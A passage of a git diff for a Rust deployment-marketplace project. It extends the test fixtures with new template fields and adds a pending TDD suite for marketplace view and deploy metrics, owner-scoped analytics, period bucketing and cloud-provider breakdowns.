+    assert_eq!(StatusCode::OK, duplicate_response.status());
+    let duplicate_body: Value = duplicate_response
+        .json()
+        .await
+        .expect("duplicate deploy-complete response should be valid JSON");
+    assert_eq!(
+        template_id.to_string(),
+        duplicate_body["item"]["template_id"]
+    );
+    assert_eq!(false, duplicate_body["item"]["deploy_count_incremented"]);
+
+    let deploy_count_after_duplicate =
+        sqlx::query("SELECT deploy_count FROM stack_template WHERE id = $1")
+            .bind(template_id)
+            .fetch_one(&app.db_pool)
+            .await
+            .expect("Template should exist")
+            .get::<Option<i32>, _>("deploy_count");
+
+    assert_eq!(Some(1), deploy_count_after_duplicate);
+}
diff --git a/tests/marketplace_integration.rs b/tests/marketplace_integration.rs
index 16319045..d68e6bb7 100644
--- a/tests/marketplace_integration.rs
+++ b/tests/marketplace_integration.rs
@@ -44,6 +44,17 @@ async fn test_deployment_free_template_allowed() {
         updated_at: Some(Utc::now()),
         approved_at: Some(Utc::now()),
         verifications: serde_json::json!({}),
+        infrastructure_requirements: serde_json::json!({}),
+        public_ports: None,
+        vendor_url: None,
+        vendor_slug: None,
+        version: None,
+        changelog: None,
+        config_files: serde_json::json!([]),
+        assets: serde_json::json!([]),
+        seed_jobs: serde_json::json!([]),
+        post_deploy_hooks: serde_json::json!([]),
+        update_mode_capabilities: None,
     };
 
     // Should allow deployment of free template
@@ -84,6 +95,17 @@ async fn test_deployment_plan_requirement_validated() {
         updated_at: Some(Utc::now()),
         approved_at: Some(Utc::now()),
         verifications: serde_json::json!({}),
+        infrastructure_requirements: serde_json::json!({}),
+        public_ports: None,
+        vendor_url: None,
+        vendor_slug: None,
+        version: None,
+        changelog: None,
+        config_files: serde_json::json!([]),
+        assets: serde_json::json!([]),
+        seed_jobs: serde_json::json!([]),
+        post_deploy_hooks: serde_json::json!([]),
+        update_mode_capabilities: None,
     };
 
     // Should allow deployment (mock user has professional plan)
@@ -128,6 +150,17 @@ async fn test_deployment_owned_paid_template_allowed() {
         updated_at: Some(Utc::now()),
         approved_at: Some(Utc::now()),
         verifications: serde_json::json!({}),
+        infrastructure_requirements: serde_json::json!({}),
+        public_ports: None,
+        vendor_url: None,
+        vendor_slug: None,
+        version: None,
+        changelog: None,
+        config_files: serde_json::json!([]),
+        assets: serde_json::json!([]),
+        seed_jobs: serde_json::json!([]),
+        post_deploy_hooks: serde_json::json!([]),
+        update_mode_capabilities: None,
     };
 
     // The validator passes template.id to user_owns_template, but mock checks the string representation
@@ -164,6 +197,14 @@ fn test_webhook_payload_for_template_approval() {
         view_count: Some(100),
         approved_at: Some("2026-02-11T00:00:00Z".to_string()),
         required_plan_name: None,
+        review_reason: None,
+        next_action_hint: None,
+        vendor_email: None,
+        infrastructure_requirements: Some(serde_json::json!({
+            "supported_clouds": ["hetzner"],
+            "min_ram_mb": 2048
+        })),
+        ..Default::default()
     };
 
     // Verify payload has all required fields for approval
@@ -171,6 +212,13 @@ fn test_webhook_payload_for_template_approval() {
     assert_eq!(payload.code, Some("ai-agent-pro".to_string()));
     assert_eq!(payload.price, Some(99.99));
     assert!(payload.vendor_user_id.is_some());
+    assert_eq!(
+        payload.infrastructure_requirements,
+        Some(serde_json::json!({
+            "supported_clouds": ["hetzner"],
+            "min_ram_mb": 2048
+        }))
+    );
 
     // Should serialize without errors
     let json = serde_json::to_string(&payload).expect("Should serialize");
@@ -201,10 +249,25 @@ fn test_webhook_payload_for_template_update_price() {
         view_count: None,
         approved_at: None,
         required_plan_name: None,
+        review_reason: None,
+        next_action_hint: None,
+        vendor_email: None,
+        infrastructure_requirements: Some(serde_json::json!({
+            "supported_os": ["ubuntu-22.04"],
+            "min_disk_gb": 20
+        })),
+        ..Default::default()
     };
 
     assert_eq!(payload.action, "template_updated");
     assert_eq!(payload.price, Some(129.99));
+    assert_eq!(
+        payload.infrastructure_requirements,
+        Some(serde_json::json!({
+            "supported_os": ["ubuntu-22.04"],
+            "min_disk_gb": 20
+        }))
+    );
 }
 
 /// Test webhook payload for template rejection
@@ -233,6 +296,11 @@ fn test_webhook_payload_for_template_rejection() {
         view_count: None,
         approved_at: None,
         required_plan_name: None,
+        review_reason: None,
+        next_action_hint: None,
+        vendor_email: None,
+        infrastructure_requirements: None,
+        ..Default::default()
     };
 
     assert_eq!(payload.action, "template_rejected");
@@ -241,6 +309,50 @@ fn test_webhook_payload_for_template_rejection() {
     assert!(payload.price.is_none());
 }
 
+/// Test webhook payload for template update-required notification.
+#[test]
+fn test_webhook_payload_for_template_needs_changes() {
+    let template_id = Uuid::new_v4().to_string();
+
+    let payload = MarketplaceWebhookPayload {
+        action: "template_needs_changes".to_string(),
+        stack_template_id: template_id.clone(),
+        external_id: template_id,
+        code: Some("ai-agent-stack-pro".to_string()),
+        name: Some("AI Agent Stack Pro".to_string()),
+        description: Some("Advanced AI agent stack".to_string()),
+        price: Some(99.99),
+        billing_cycle: Some("one_time".to_string()),
+        currency: Some("USD".to_string()),
+        vendor_user_id: Some("456".to_string()),
+        vendor_name: Some("Vendor Example".to_string()),
+        category: Some("AI Agents".to_string()),
+        tags: Some(serde_json::json!(["ai", "agents"])),
+        long_description: Some("Long description".to_string()),
+        tech_stack: Some(serde_json::json!({"apps": ["n8n"]})),
+        creator_name: Some("Vendor Example".to_string()),
+        deploy_count: Some(10),
+        view_count: Some(25),
+        approved_at: None,
+        required_plan_name: None,
+        review_reason: Some("Please document bare metal prerequisites.".to_string()),
+        next_action_hint: Some(
+            "Update the template based on the review feedback and resubmit it for review."
+                .to_string(),
+        ),
+        vendor_email: None,
+        infrastructure_requirements: Some(serde_json::json!({"min_ram_mb": 2048})),
+        ..Default::default()
+    };
+
+    assert_eq!(payload.action, "template_needs_changes");
+    assert_eq!(
+        payload.review_reason,
+        Some("Please document bare metal prerequisites.".to_string())
+    );
+    assert_eq!(payload.vendor_user_id, Some("456".to_string()));
+}
+
 /// Test complete deployment validation flow with connector
 #[tokio::test]
 async fn test_deployment_validation_flow_with_connector() {
@@ -272,6 +384,17 @@ async fn test_deployment_validation_flow_with_connector() {
         updated_at: Some(Utc::now()),
         approved_at: Some(Utc::now()),
         verifications: serde_json::json!({}),
+        infrastructure_requirements: serde_json::json!({}),
+        public_ports: None,
+        vendor_url: None,
+        vendor_slug: None,
+        version: None,
+        changelog: None,
+        config_files: serde_json::json!([]),
+        assets: serde_json::json!([]),
+        seed_jobs: serde_json::json!([]),
+        post_deploy_hooks: serde_json::json!([]),
+        update_mode_capabilities: None,
     };
 
     let result = validator
@@ -304,6 +427,17 @@ async fn test_deployment_validation_flow_with_connector() {
         updated_at: Some(Utc::now()),
         approved_at: Some(Utc::now()),
         verifications: serde_json::json!({}),
+        infrastructure_requirements: serde_json::json!({}),
+        public_ports: None,
+        vendor_url: None,
+        vendor_slug: None,
+        version: None,
+        changelog: None,
+        config_files: serde_json::json!([]),
+        assets: serde_json::json!([]),
+        seed_jobs: serde_json::json!([]),
+        post_deploy_hooks: serde_json::json!([]),
+        update_mode_capabilities: None,
     };
 
     let result = validator
@@ -417,6 +551,17 @@ async fn test_multiple_deployments_mixed_templates() {
         updated_at: Some(Utc::now()),
         approved_at: Some(Utc::now()),
         verifications: serde_json::json!({}),
+        infrastructure_requirements: serde_json::json!({}),
+        public_ports: None,
+        vendor_url: None,
+        vendor_slug: None,
+        version: None,
+        changelog: None,
+        config_files: serde_json::json!([]),
+        assets: serde_json::json!([]),
+        seed_jobs: serde_json::json!([]),
+        post_deploy_hooks: serde_json::json!([]),
+        update_mode_capabilities: None,
     };
 
     let result = validator
@@ -449,6 +594,17 @@ async fn test_multiple_deployments_mixed_templates() {
         updated_at: Some(Utc::now()),
         approved_at: Some(Utc::now()),
         verifications: serde_json::json!({}),
+        infrastructure_requirements: serde_json::json!({}),
+        public_ports: None,
+        vendor_url: None,
+        vendor_slug: None,
+        version: None,
+        changelog: None,
+        config_files: serde_json::json!([]),
+        assets: serde_json::json!([]),
+        seed_jobs: serde_json::json!([]),
+        post_deploy_hooks: serde_json::json!([]),
+        update_mode_capabilities: None,
     };
 
     let result = validator
@@ -486,6 +642,17 @@ async fn test_multiple_deployments_mixed_templates() {
         updated_at: Some(Utc::now()),
         approved_at: Some(Utc::now()),
         verifications: serde_json::json!({}),
+        infrastructure_requirements: serde_json::json!({}),
+        public_ports: None,
+        vendor_url: None,
+        vendor_slug: None,
+        version: None,
+        changelog: None,
+        config_files: serde_json::json!([]),
+        assets: serde_json::json!([]),
+        seed_jobs: serde_json::json!([]),
+        post_deploy_hooks: serde_json::json!([]),
+        update_mode_capabilities: None,
     };
 
     // The result will depend on whether the validator can verify ownership
@@ -540,6 +707,17 @@ fn test_template_status_values() {
         updated_at: Some(Utc::now()),
         approved_at: Some(Utc::now()),
         verifications: serde_json::json!({}),
+        infrastructure_requirements: serde_json::json!({}),
+        public_ports: None,
+        vendor_url: None,
+        vendor_slug: None,
+        version: None,
+        changelog: None,
+        config_files: serde_json::json!([]),
+        assets: serde_json::json!([]),
+        seed_jobs: serde_json::json!([]),
+        post_deploy_hooks: serde_json::json!([]),
+        update_mode_capabilities: None,
     };
 
     assert_eq!(template.status, "approved");
diff --git a/tests/marketplace_metrics.rs b/tests/marketplace_metrics.rs
new file mode 100644
index 00000000..09cfd890
--- /dev/null
+++ b/tests/marketplace_metrics.rs
@@ -0,0 +1,1370 @@
+/// TDD tests for marketplace metrics persistence and analytics queries
+///
+/// This test suite defines the contract for metrics storage and retrieval.
+/// Tests are expected to FAIL initially until DB helpers and migrations are implemented.
+///
+/// Coverage:
+/// 1. View/deploy event persistence with template_id, creator_user_id, event_type, cloud_provider, occurred_at, metadata
+/// 2. Analytics queries are owner-scoped (creator A cannot see creator B's metrics)
+/// 3. Period bucketing (7d/30d/custom) includes only events within period, zero-fills missing buckets
+/// 4. Cloud breakdown groups deployments by provider and calculates percentages
+/// 5. Aggregate fallback from stack_template.view_count/deploy_count when event table unavailable
+/// 6. No finance fields in any metric structure
+mod common;
+
+use chrono::{DateTime, Duration, Utc};
+use serde_json::json;
+use sqlx::{PgPool, Row};
+use uuid::Uuid;
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Test 1: Event Persistence Contract
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Test that view events can be persisted with required fields
+///
+/// Expected to FAIL: needs marketplace_event table and insert_view_event helper
+#[tokio::test]
+#[ignore = "pending marketplace metrics implementation"]
+async fn test_persist_view_event() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => {
+            eprintln!("Skipping test: database not available");
+            return;
+        }
+    };
+
+    let template_id = Uuid::new_v4();
+    let creator_user_id = "vendor-alice";
+    let viewer_user_id = "user-bob";
+
+    // Ensure template exists
+    create_test_template(&app.db_pool, template_id, creator_user_id).await;
+
+    // Record a view event
+    let result = stacker::db::marketplace::insert_view_event(
+        &app.db_pool,
+        template_id,
+        viewer_user_id,
+        json!({"referrer": "https://trydirect.io/marketplace"}),
+    )
+    .await;
+
+    assert!(
+        result.is_ok(),
+        "Should be able to insert view event: {:?}",
+        result
+    );
+
+    // Verify event was persisted with all required fields
+    // Using runtime query to avoid compile-time DB dependency
+    let event_row = sqlx::query(
+        r#"
+        SELECT 
+            template_id,
+            event_type,
+            viewer_user_id,
+            occurred_at,
+            metadata
+        FROM marketplace_event
+        WHERE template_id = $1 AND event_type = 'view'
+        ORDER BY occurred_at DESC
+        LIMIT 1
+        "#,
+    )
+    .bind(template_id)
+    .fetch_one(&app.db_pool)
+    .await;
+
+    // Expected to fail with "relation does not exist" until marketplace_event table is created
+    match event_row {
+        Ok(row) => {
+            use sqlx::Row;
+            let fetched_template_id: Uuid = row.get("template_id");
+            let event_type: String = row.get("event_type");
+            let viewer: Option<String> = row.get("viewer_user_id");
+
+            assert_eq!(fetched_template_id, template_id);
+            assert_eq!(event_type, "view");
+            assert_eq!(viewer.as_deref(), Some(viewer_user_id));
+        }
+        Err(e) => {
+            eprintln!(
+                "Expected failure: marketplace_event table does not exist yet: {}",
+                e
+            );
+            panic!("TEST FAILED AS EXPECTED: marketplace_event table not implemented");
+        }
+    }
+}
+
+/// Test that deploy events can be persisted with cloud_provider field
+///
+/// Expected to FAIL: needs marketplace_event table and insert_deploy_event helper
+#[tokio::test]
+#[ignore = "pending marketplace metrics implementation"]
+async fn test_persist_deploy_event_with_cloud_provider() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => {
+            eprintln!("Skipping test: database not available");
+            return;
+        }
+    };
+
+    let template_id = Uuid::new_v4();
+    let creator_user_id = "vendor-alice";
+    let deployer_user_id = "user-charlie";
+    let cloud_provider = "hetzner";
+
+    create_test_template(&app.db_pool, template_id, creator_user_id).await;
+
+    // Record a deploy event with cloud provider
+    let result = stacker::db::marketplace::insert_deploy_event(
+        &app.db_pool,
+        template_id,
+        deployer_user_id,
+        cloud_provider,
+        json!({"region": "eu-central", "server_ip": "192.168.1.100"}),
+    )
+    .await;
+
+    assert!(
+        result.is_ok(),
+        "Should be able to insert deploy event: {:?}",
+        result
+    );
+
+    // Verify event includes cloud_provider
+    let event = sqlx::query(
+        r#"
+        SELECT 
+            template_id,
+            event_type,
+            deployer_user_id,
+            cloud_provider,
+            occurred_at,
+            metadata
+        FROM marketplace_event
+        WHERE template_id = $1 AND event_type = 'deploy'
+        ORDER BY occurred_at DESC
+        LIMIT 1
+        "#,
+    )
+    .bind(template_id)
+    .fetch_one(&app.db_pool)
+    .await
+    .expect("Should fetch inserted deploy event");
+
+    let fetched_template_id: Uuid = event.get("template_id");
+    let event_type: String = event.get("event_type");
+    let deployer: Option<String> = event.get("deployer_user_id");
+    let provider: Option<String> = event.get("cloud_provider");
+    let occurred_at: Option<DateTime<Utc>> = event.get("occurred_at");
+    let metadata: Option<serde_json::Value> = event.get("metadata");
+
+    assert_eq!(fetched_template_id, template_id);
+    assert_eq!(event_type, "deploy");
+    assert_eq!(deployer.as_deref(), Some(deployer_user_id));
+    assert_eq!(provider.as_deref(), Some(cloud_provider));
+    assert!(occurred_at.is_some());
+    assert!(metadata.is_some());
+}
+
+/// Test that occurred_at timestamp is automatically set
+///
+/// Expected to FAIL: needs marketplace_event table
+#[tokio::test]
+#[ignore = "pending marketplace metrics implementation"]
+async fn test_event_occurred_at_timestamp_auto_set() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => {
+            eprintln!("Skipping test: database not available");
+            return;
+        }
+    };
+
+    let template_id = Uuid::new_v4();
+    let creator_user_id = "vendor-alice";
+
+    create_test_template(&app.db_pool, template_id, creator_user_id).await;
+
+    let before_insert = Utc::now();
+
+    let result = stacker::db::marketplace::insert_view_event(
+        &app.db_pool,
+        template_id,
+        "user-viewer",
+        json!({}),
+    )
+    .await;
+
+    assert!(result.is_ok(), "Should insert event");
+
+    let after_insert = Utc::now();
+
+    let event = sqlx::query(
+        r#"
+        SELECT occurred_at
+        FROM marketplace_event
+        WHERE template_id = $1
+        ORDER BY occurred_at DESC
+        LIMIT 1
+        "#,
+    )
+    .bind(template_id)
+    .fetch_one(&app.db_pool)
+    .await
+    .expect("Should fetch event");
+
+    let occurred_at: Option<DateTime<Utc>> = event.get("occurred_at");
+    let occurred_at = occurred_at.expect("occurred_at should be set");
+
+    assert!(
+        occurred_at >= before_insert && occurred_at <= after_insert,
+        "occurred_at should be automatically set to current timestamp"
+    );
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Test 2: Owner-scoped Analytics Queries
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Test that vendor analytics queries are scoped to creator_user_id
+///
+/// Expected to FAIL: needs get_vendor_analytics helper
+#[tokio::test]
+#[ignore = "pending marketplace metrics implementation"]
+async fn test_analytics_scoped_to_creator() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => {
+            eprintln!("Skipping test: database not available");
+            return;
+        }
+    };
+
+    let alice_template = Uuid::new_v4();
+    let bob_template = Uuid::new_v4();
+
+    // Create templates for two different vendors
+    create_test_template(&app.db_pool, alice_template, "vendor-alice").await;
+    create_test_template(&app.db_pool, bob_template, "vendor-bob").await;
+
+    // Record events for Alice's template
+    for _ in 0..5 {
+        let _ = stacker::db::marketplace::insert_view_event(
+            &app.db_pool,
+            alice_template,
+            "user-1",
+            json!({}),
+        )
+        .await;
+    }
+
+    for _ in 0..3 {
+        let _ = stacker::db::marketplace::insert_deploy_event(
+            &app.db_pool,
+            alice_template,
+            "user-1",
+            "hetzner",
+            json!({}),
+        )
+        .await;
+    }
+
+    // Record events for Bob's template
+    for _ in 0..10 {
+        let _ = stacker::db::marketplace::insert_view_event(
+            &app.db_pool,
+            bob_template,
+            "user-2",
+            json!({}),
+        )
+        .await;
+    }
+
+    for _ in 0..7 {
+        let _ = stacker::db::marketplace::insert_deploy_event(
+            &app.db_pool,
+            bob_template,
+            "user-2",
+            "digitalocean",
+            json!({}),
+        )
+        .await;
+    }
+
+    // Query Alice's analytics - should only see her template data
+    let alice_analytics = stacker::db::marketplace::get_vendor_analytics(
+        &app.db_pool,
+        "vendor-alice",
+        None, // all time
+    )
+    .await
+    .expect("Should fetch Alice's analytics");
+
+    assert_eq!(
+        alice_analytics.summary.total_views, 5,
+        "Alice should see 5 views"
+    );
+    assert_eq!(
+        alice_analytics.summary.total_deployments, 3,
+        "Alice should see 3 deployments"
+    );
+
+    // Query Bob's analytics - should only see his template data
+    let bob_analytics = stacker::db::marketplace::get_vendor_analytics(
+        &app.db_pool,
+        "vendor-bob",
+        None, // all time
+    )
+    .await
+    .expect("Should fetch Bob's analytics");
+
+    assert_eq!(
+        bob_analytics.summary.total_views, 10,
+        "Bob should see 10 views"
+    );
+    assert_eq!(
+        bob_analytics.summary.total_deployments, 7,
+        "Bob should see 7 deployments"
+    );
+
+    // Alice's analytics should not include Bob's templates
+    assert!(
+        !alice_analytics
+            .templates
+            .iter()
+            .any(|t| t.template_id == bob_template),
+        "Alice's analytics should not include Bob's template"
+    );
+
+    // Bob's analytics should not include Alice's templates
+    assert!(
+        !bob_analytics
+            .templates
+            .iter()
+            .any(|t| t.template_id == alice_template),
+        "Bob's analytics should not include Alice's template"
+    );
+}
+
+/// Test that cross-creator event queries are isolated
+///
+/// Expected to FAIL: needs query helpers with creator_user_id filtering
+#[tokio::test]
+#[ignore = "pending marketplace metrics implementation"]
+async fn test_event_queries_isolated_by_creator() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => {
+            eprintln!("Skipping test: database not available");
+            return;
+        }
+    };
+
+    let alice_template = Uuid::new_v4();
+    let bob_template = Uuid::new_v4();
+
+    create_test_template(&app.db_pool, alice_template, "vendor-alice").await;
+    create_test_template(&app.db_pool, bob_template, "vendor-bob").await;
+
+    // Create some events
+    let _ = stacker::db::marketplace::insert_view_event(
+        &app.db_pool,
+        alice_template,
+        "user-1",
+        json!({}),
+    )
+    .await;
+    let _ = stacker::db::marketplace::insert_view_event(
+        &app.db_pool,
+        bob_template,
+        "user-2",
+        json!({}),
+    )
+    .await;
+
+    // Query events for Alice - should only return Alice's template events
+    let alice_events = stacker::db::marketplace::get_template_events_by_creator(
+        &app.db_pool,
+        "vendor-alice",
+        None,
+        None,
+    )
+    .await
+    .expect("Should fetch Alice's events");
+
+    assert_eq!(alice_events.len(), 1, "Alice should have 1 event");
+    assert_eq!(alice_events[0].template_id, alice_template);
+
+    // Query events for Bob - should only return Bob's template events
+    let bob_events = stacker::db::marketplace::get_template_events_by_creator(
+        &app.db_pool,
+        "vendor-bob",
+        None,
+        None,
+    )
+    .await
+    .expect("Should fetch Bob's events");
+
+    assert_eq!(bob_events.len(), 1, "Bob should have 1 event");
+    assert_eq!(bob_events[0].template_id, bob_template);
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Test 3: Period Bucketing and Zero-filling
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Test that 7-day period query only includes events within last 7 days
+///
+/// Expected to FAIL: needs period filtering in query helpers
+#[tokio::test]
+#[ignore = "pending marketplace metrics implementation"]
+async fn test_period_7d_includes_only_recent_events() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => {
+            eprintln!("Skipping test: database not available");
+            return;
+        }
+    };
+
+    let template_id = Uuid::new_v4();
+    create_test_template(&app.db_pool, template_id, "vendor-alice").await;
+
+    let now = Utc::now();
+    let six_days_ago = now - Duration::days(6);
+    let ten_days_ago = now - Duration::days(10);
+
+    // Insert event within 7-day window
+    insert_event_at_time(
+        &app.db_pool,
+        template_id,
+        "view",
+        six_days_ago,
+        None,
+        json!({}),
+    )
+    .await;
+
+    // Insert event outside 7-day window
+    insert_event_at_time(
+        &app.db_pool,
+        template_id,
+        "view",
+        ten_days_ago,
+        None,
+        json!({}),
+    )
+    .await;
+
+    // Query for 7-day period
+    let analytics = stacker::db::marketplace::get_vendor_analytics_for_period(
+        &app.db_pool,
+        "vendor-alice",
+        "7d",
+        None,
+        None,
+    )
+    .await
+    .expect("Should fetch analytics for 7d period");
+
+    assert_eq!(
+        analytics.summary.total_views, 1,
+        "Should only count event within 7-day window"
+    );
+}
+
+/// Test that 30-day period query filters correctly
+///
+/// Expected to FAIL: needs period filtering logic
+#[tokio::test]
+#[ignore = "pending marketplace metrics implementation"]
+async fn test_period_30d_boundary_filtering() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => {
+            eprintln!("Skipping test: database not available");
+            return;
+        }
+    };
+
+    let template_id = Uuid::new_v4();
+    create_test_template(&app.db_pool, template_id, "vendor-alice").await;
+
+    let now = Utc::now();
+    let day_29 = now - Duration::days(29);
+    let day_31 = now - Duration::days(31);
+
+    // Event within 30-day window
+    insert_event_at_time(&app.db_pool, template_id, "view", day_29, None, json!({})).await;
+
+    // Event outside 30-day window
+    insert_event_at_time(&app.db_pool, template_id, "view", day_31, None, json!({})).await;
+
+    let analytics = stacker::db::marketplace::get_vendor_analytics_for_period(
+        &app.db_pool,
+        "vendor-alice",
+        "30d",
+        None,
+        None,
+    )
+    .await
+    .expect("Should fetch analytics for 30d period");
+
+    assert_eq!(
+        analytics.summary.total_views, 1,
+        "Should only count event within 30-day window"
+    );
+}
+
+/// Test that custom date range filters events correctly
+///
+/// Expected to FAIL: needs custom period support
+#[tokio::test]
+#[ignore = "pending marketplace metrics implementation"]
+async fn test_custom_period_date_range_filtering() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => {
+            eprintln!("Skipping test: database not available");
+            return;
+        }
+    };
+
+    let template_id = Uuid::new_v4();
+    create_test_template(&app.db_pool, template_id, "vendor-alice").await;
+
+    let start_date = Utc::now() - Duration::days(14);
+    let end_date = Utc::now() - Duration::days(7);
+
+    // Event before range
+    insert_event_at_time(
+        &app.db_pool,
+        template_id,
+        "view",
+        start_date - Duration::days(1),
+        None,
+        json!({}),
+    )
+    .await;
+
+    // Event within range
+    insert_event_at_time(
+        &app.db_pool,
+        template_id,
+        "view",
+        start_date + Duration::days(3),
+        None,
+        json!({}),
+    )
+    .await;
+
+    // Event after range
+    insert_event_at_time(
+        &app.db_pool,
+        template_id,
+        "view",
+        end_date + Duration::days(1),
+        None,
+        json!({}),
+    )
+    .await;
+
+    let analytics = stacker::db::marketplace::get_vendor_analytics_for_period(
+        &app.db_pool,
+        "vendor-alice",
+        "custom",
+        Some(start_date),
+        Some(end_date),
+    )
+    .await
+    .expect("Should fetch analytics for custom period");
+
+    assert_eq!(
+        analytics.summary.total_views, 1,
+        "Should only count event within custom date range"
+    );
+}
+
+/// Test that time series buckets are zero-filled when no data exists
+///
+/// Expected to FAIL: needs bucketing logic with zero-fill
+#[tokio::test]
+#[ignore = "pending marketplace metrics implementation"]
+async fn test_time_series_zero_fill_missing_buckets() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => {
+            eprintln!("Skipping test: database not available");
+            return;
+        }
+    };
+
+    let template_id = Uuid::new_v4();
+    create_test_template(&app.db_pool, template_id, "vendor-alice").await;
+
+    let now = Utc::now();
+
+    // Insert event only on day 5 of the 7-day period
+    insert_event_at_time(
+        &app.db_pool,
+        template_id,
+        "view",
+        now - Duration::days(2),
+        None,
+        json!({}),
+    )
+    .await;
+
+    let analytics = stacker::db::marketplace::get_vendor_analytics_for_period(
+        &app.db_pool,
+        "vendor-alice",
+        "7d",
+        None,
+        None,
+    )
+    .await
+    .expect("Should fetch analytics");
+
+    // Should return 7 buckets (one per day) even though only 1 has data
+    assert_eq!(
+        analytics.views_series.len(),
+        7,
+        "Should return 7 daily buckets for 7d period"
+    );
+
+    // Count how many buckets have zero views
+    let zero_buckets = analytics
+        .views_series
+        .iter()
+        .filter(|b| b.count == 0)
+        .count();
+
+    assert_eq!(
+        zero_buckets, 6,
+        "Should have 6 zero-filled buckets (only 1 day has data)"
+    );
+
+    // One bucket should have count = 1
+    let non_zero_buckets = analytics
+        .views_series
+        .iter()
+        .filter(|b| b.count > 0)
+        .count();
+
+    assert_eq!(non_zero_buckets, 1, "Should have 1 bucket with data");
+}
+
+/// Test that bucket granularity matches period (day/week/month)
+///
+/// Expected to FAIL: needs bucket calculation logic
+#[tokio::test]
+#[ignore = "pending marketplace metrics implementation"]
+async fn test_bucket_granularity_matches_period() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => {
+            eprintln!("Skipping test: database not available");
+            return;
+        }
+    };
+
+    let template_id = Uuid::new_v4();
+    create_test_template(&app.db_pool, template_id, "vendor-alice").await;
+
+    // Test 7d period returns daily buckets
+    let analytics_7d = stacker::db::marketplace::get_vendor_analytics_for_period(
+        &app.db_pool,
+        "vendor-alice",
+        "7d",
+        None,
+        None,
+    )
+    .await
+    .expect("Should fetch 7d analytics");
+
+    assert_eq!(
+        analytics_7d.period.bucket, "day",
+        "7d period should use daily buckets"
+    );
+
+    // Test 30d period returns daily buckets
+    let analytics_30d = stacker::db::marketplace::get_vendor_analytics_for_period(
+        &app.db_pool,
+        "vendor-alice",
+        "30d",
+        None,
+        None,
+    )
+    .await
+    .expect("Should fetch 30d analytics");
+
+    assert_eq!(
+        analytics_30d.period.bucket, "day",
+        "30d period should use daily buckets"
+    );
+
+    // Test 90d period might use weekly buckets (or daily, depending on implementation)
+    let analytics_90d = stacker::db::marketplace::get_vendor_analytics_for_period(
+        &app.db_pool,
+        "vendor-alice",
+        "90d",
+        None,
+        None,
+    )
+    .await
+    .expect("Should fetch 90d analytics");
+
+    assert!(
+        ["day", "week"].contains(&analytics_90d.period.bucket.as_str()),
+        "90d period should use day or week buckets"
+    );
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Test 4: Cloud Breakdown with Percentages
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Test that cloud breakdown groups deployments by provider
+///
+/// Expected to FAIL: needs cloud breakdown query logic
+#[tokio::test]
+#[ignore = "pending marketplace metrics implementation"]
+async fn test_cloud_breakdown_groups_by_provider() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => {
+            eprintln!("Skipping test: database not available");
+            return;
+        }
+    };
+
+    let template_id = Uuid::new_v4();
+    create_test_template(&app.db_pool, template_id, "vendor-alice").await;
+
+    // Insert deploy events across different cloud providers
+    for _ in 0..5 {
+        let _ = stacker::db::marketplace::insert_deploy_event(
+            &app.db_pool,
+            template_id,
+            "user-1",
+            "hetzner",
+            json!({}),
+        )
+        .await;
+    }
+
+    for _ in 0..3 {
+        let _ = stacker::db::marketplace::insert_deploy_event(
+            &app.db_pool,
+            template_id,
+            "user-2",
+            "digitalocean",
+            json!({}),
+        )
+        .await;
+    }
+
+    for _ in 0..2 {
+        let _ = stacker::db::marketplace::insert_deploy_event(
+            &app.db_pool,
+            template_id,
+            "user-3",
+            "aws",
+            json!({}),
+        )
+        .await;
+    }
+
+    let analytics =
+        stacker::db::marketplace::get_vendor_analytics(&app.db_pool, "vendor-alice", None)
+            .await
+            .expect("Should fetch analytics");
+
+    // Should have 3 cloud providers in breakdown
+    assert_eq!(
+        analytics.cloud_breakdown.len(),
+        3,
+        "Should have breakdown for 3 cloud providers"
+    );
+
+    // Find hetzner entry
+    let hetzner = analytics
+        .cloud_breakdown
+        .iter()
+        .find(|c| c.cloud_provider == "hetzner")
+        .expect("Should have hetzner in breakdown");
+
+    assert_eq!(hetzner.deployments, 5);
+
+    // Find digitalocean entry
+    let digitalocean = analytics
+        .cloud_breakdown
+        .iter()
+        .find(|c| c.cloud_provider == "digitalocean")
+        .expect("Should have digitalocean in breakdown");
+
+    assert_eq!(digitalocean.deployments, 3);
+
+    // Find aws entry
+    let aws = analytics
+        .cloud_breakdown
+        .iter()
+        .find(|c| c.cloud_provider == "aws")
+        .expect("Should have aws in breakdown");
+
+    assert_eq!(aws.deployments, 2);
+}
+
+/// Test that cloud breakdown calculates correct percentages
+///
+/// Expected to FAIL: needs percentage calculation logic
+#[tokio::test]
+#[ignore = "pending marketplace metrics implementation"]
+async fn test_cloud_breakdown_calculates_percentages() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => {
+            eprintln!("Skipping test: database not available");
+            return;
+        }
+    };
+
+    let template_id = Uuid::new_v4();
+    create_test_template(&app.db_pool, template_id, "vendor-alice").await;
+
+    // Insert 100 total deploys: 50 hetzner, 30 digitalocean, 20 aws
+    for _ in 0..50 {
+        let _ = stacker::db::marketplace::insert_deploy_event(
+            &app.db_pool,
+            template_id,
